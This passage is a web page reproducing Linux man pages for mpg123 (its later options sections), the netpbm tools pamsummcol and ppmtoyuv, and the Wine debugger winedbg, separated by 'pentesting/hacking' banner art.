Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2218 - Linux cli command pamsummcol

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamsummcol and provides detailed information about the command pamsummcol, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamsummcol.

.

NAME 🖥️ pamsummcol 🖥️

summarize (sum, average, etc) a Netpbm image by column

SYNOPSIS

pamsummcol { -sum | -mean | -min | -max } [imagefile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamsummcol reads a Netpbm image (PNM or PAM) and performs a summary function over all the rows in each column (sum, mean, etc.). It produces an image of the same kind that the same width and depth as the input, and one row high. Its sample values are the result of the summary.

pamsummcol performs the summary operation on each plane independently.

pamsummcol performs the operation on the actual sample values, not on the light intensities represented by them in the case that the image is a PGM or PPM image.

If you want to summarize by row instead of by column, run the input through pamflip first (and if you want the output to be a single column instead of a single row, use pamflip again).

If you want to summarize over the entire image (getting a one-tuple output image), use pamsumm to get a summary row, pamflip to turn that into a column, the pamsumm again to summarize the column.

If you want to summarize the individual samples in an entire image, instead of by tuple, use pamsumm.

pamsummcol performs the operation on the actual sample values, not on the light intensities represented by them in the case that the image is a PGM or PPM image or PAM equivalent. You can use pnmgamma to convert such an image to one with samples proportional to light intensity, and then use pamsummcol on the result.

You can achieve the same thing as pamsummcol -mean with pamscale. Just scale vertically to a single row, without scaling horizontally at all. Use the pixel mixing method.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamsummcol recognizes the following command line options:

You must specify exactly one of -sum, -mean, -min, or -max.

-sum
This option makes the summary function addition. In each column and plane of the output row, the sample value is the sum of all the samples values in the same column and plane of the input. If a result is greater than the image maxval, it is clipped to the maxval.

-mean
This option makes the summary function arithmetic mean. In each column and plane of the output row, the sample value is the mean of all the samples values in the same column and plane of the input.

-min
This option makes the summary function arithmetic minimum. In each column and plane of the output row, the sample value is the minimum of all the samples values in the same column and plane of the input.

-max
This option makes the summary function arithmetic maximum. In each column and plane of the output row, the sample value is the maximum of all the samples values in the same column and plane of the input.

SEE ALSO

pamsumm(1) , pamflip(1) , pamfunc(1) , pamarith(1) , pamscale(1) , pam(1) ,

HISTORY

pamsummcol was added to Netpbm in Release 10.21 (March 2004).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamsummcol.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2219 - Linux cli command ppmtoyuv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoyuv and provides detailed information about the command ppmtoyuv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoyuv.

.

NAME 🖥️ ppmtoyuv 🖥️

convert a PPM image to an Abekas YUV file

SYNOPSIS

ppmtoyuv [ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoyuv reads a PPM image as input and produces an Abekas YUV file as output.

The output file contains a raster of four byte YUV codes, each uniquely associated with two side-by-side pixels in the image. The raster contains rows in order from top to bottom, and within each row columns from left to right. So the output file size in bytes is twice the number of pixels in the image.

Each YUV code is associated with two pixels from the input image that we will call the left pixel and the right pixel. The 2nd byte of the code is the Y value of the left pixel. The 4th byte of the code is the Y value of the right pixel. The 1st byte of the code is an average of the U value of the pixel to the left of the left pixel, the left pixel, and the right pixel. The 3rd byte of the code is analogous for V values. These averages are weighted arithmetic means where the left pixel is weighted double what the other two pixels are weighted.

This format is reminiscent of but rather different from the common YUV 4:2:0 format (aka YUV 420) and the similar YUV 4:4:4, YUV 4:2:2, YUV 4:1:1, YUV 4:1:1s, and YUV 4:1:0. In YUV 4:2:0, the raster is different for even numbered lines and odd numbered lines. On even numbered lines, there are twice as many bits for Y of each pixel as for U or V. On odd numbered lines, there are the same number of bits for Y as on even numbered lines, but no bits at all for U and V.

Another YUV-based format is YUV4MPEG2, which is a movie format normally used with MJPEGTools . Netpbm does not have converters for this format, but MJPEGTools does.

OPTIONS

There are no command line options defined specifically for ppmtoyuv, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

yuvtoppm(1) , ppmtoeyuv(1) , ppmtoyuvsplit(1) , ppm(1) , pnmtoy4m , y4mtopnm

AUTHOR

Marc Boucher [email protected], based on Example Conversion Program, A60/A64 Digital Video Interface Manual, page 69.

Copyright (C) 1991 by DHD PostImage Inc.

Copyright (C) 1987 by Abekas Video Systems Inc.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoyuv.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2220 - Linux cli command winedbg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winedbg and provides detailed information about the command winedbg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winedbg.

NAME 🖥️ winedbg 🖥️

Wine debugger

SYNOPSIS

winedbg [ options ] [ program_name [ program_arguments ] | wpid ]

winedbg –gdb [ options ] [ program_name [ program_arguments ] | wpid ]

**winedbg –auto **wpid

winedbg –minidump [ file.mdmp ] wpid

**winedbg **file.mdmp

DESCRIPTION

winedbg is a debugger for Wine. It allows:

  • debugging native Win32 applications
    • debugging Winelib applications
    • being a drop-in replacement for Dr Watson

MODES

winedbg can be used in five modes. The first argument to the program determines the mode winedbg will run in.

default
Without any explicit mode, this is standard winedbg operating mode. winedbg will act as the front end for the user.

–gdb
winedbg will be used as a proxy for gdb. gdb will be the front end for command handling, and winedbg will proxy all debugging requests from gdb to the Win32 APIs.

–auto
This mode is used when winedbg is set up in AeDebug registry entry as the default debugger. winedbg will then display basic information about a crash. This is useful for users who don’t want to debug a crash, but rather gather relevant information about the crash to be sent to developers.

–minidump
This mode is similar to the –auto one, except that instead of printing the information on the screen (as –auto does), it’s saved into a minidump file. The name of the file is either passed on the command line, or generated by WineDbg when none is given. This file could later on be reloaded into winedbg for further examination.

file.mdmp
In this mode winedbg reloads the state of a debuggee which has been saved into a minidump file. See either the minidump command below, or the –minidump mode.

OPTIONS

When in default mode, the following options are available:

–command string
winedbg will execute the command string as if it was keyed on winedbg command line, and then will exit. This can be handy for getting the pid of running processes (winedbg –command “info proc”).

–file filename
winedbg will execute the list of commands contained in file filename as if they were keyed on winedbg command line, and then will exit.

When in gdb proxy mode, the following options are available:

–no-start
Don’t launch gdb directly; instead, print the target remote GDB command to execute and listen for connection from any GDB-compatible debugger. Normally, –gdb will start both the proxy debugging server and an instance of gdb for the front end. This option instructs winedbg to skip launching of gdb, and instead prints the GDB command that can be used to manually connect to the server. This command is in the form

target remote localhost:<port>

where <port> is the TCP port winedbg’s proxy debugging server is bound to.

This option allows the user to replace gdb with some other debugger front end, such as ddd, kgdb, gdbgui, or Qt Creator. Regardless of whether –no-start is specified, winedbg will quit after the first connection is hung up (e.g. gdb detaches from the debuggee).

–port port
Start the GDB proxy debugging server on the given port. If this option is not specified, winedbg will let the operating system choose any available port. This option can be used in conjunction with –no-start to specify the port the server shall be bound to.

–with-xterm
This will run the gdb front end in a new xterm(1) window instead of using the current Unix terminal for its interface. This option is ignored if –no-start is specified.

In all modes, the rest of the command line, when passed, is used to identify which program, if any, is to be debugged:

program_name
This is the name of an executable to start for a debugging session. winedbg will actually create a process with this executable. If program_arguments are also given, they will be used as arguments for creating the process to be debugged.

wpid
winedbg will attach to the process whose Windows pid is wpid. Use the info proc command within winedbg to list running processes and their Windows pids.

default
If nothing is specified, you will enter the debugger without any run nor attached process. You’ll have to do the job yourself.

COMMANDS

Default mode, and while reloading a minidump file:

Most of commands used in winedbg are similar to the ones from gdb. Please refer to the gdb documentations for some more details. See the gdb differences section later on to get a list of variations from gdb commands.

Misc. commands

abort
Aborts the debugger.

quit
Exits the debugger.

Process handling

attach N
Attach to a Wine process (N is its Windows ID, numeric or hexadecimal). IDs can be obtained using the info process command. Note the info process command returns hexadecimal values

detach
Detach from a Wine-process.

thread N
Change the current thread to N (its Windows TID, numeric or hexadecimal).

run
Re-run the same process with the same arguments. Note: all breakpoints of precedent process are no longer available.

run arg1 arg2…
Re-run the same process with arguments arg1 arg2…. Note: all breakpoints of precedent process are no longer available.

Help commands

help
Prints some help on the commands.

help info
Prints some help on info commands

Flow control commands

cont
Continue execution until next breakpoint or exception.

pass
Pass the exception event up to the filter chain.

step
Continue execution until next C line of code (enters function call)

next
Continue execution until next C line of code (doesn’t enter function call)

stepi
Execute next assembly instruction (enters function call)

nexti
Execute next assembly instruction (doesn’t enter function call)

finish
Execute until return of current function is reached.

cont, step, next, stepi, nexti can be postfixed by a number (N), meaning that the command must be executed N times before control is returned to the user.

Breakpoints, watchpoints

enable N
Enables (break|watch)-point N

disable N
Disables (break|watch)-point N

delete N
Deletes (break|watch)-point N

cond N
Removes any existing condition to (break|watch)-point N

cond N expr
Adds condition expr to (break|watch)-point N. expr will be evaluated each time the (break|watch)-point is hit. If the result is a zero value, the breakpoint isn’t triggered.

break * N
Adds a breakpoint at address N

break id
Adds a breakpoint at the address of symbol id

break id N
Adds a breakpoint at the line N inside symbol id.

break N
Adds a breakpoint at line N of current source file.

break
Adds a breakpoint at current $PC address.

watch * N
Adds a watch command (on write) at address N (on 4 bytes).

watch id
Adds a watch command (on write) at the address of symbol id. Size depends on size of id.

rwatch * N
Adds a watch command (on read) at address N (on 4 bytes).

rwatch id
Adds a watch command (on read) at the address of symbol id. Size depends on size of id.

info break
Lists all (break|watch)-points (with their state).

You can use the symbol EntryPoint to stand for the entry point of the Dll.

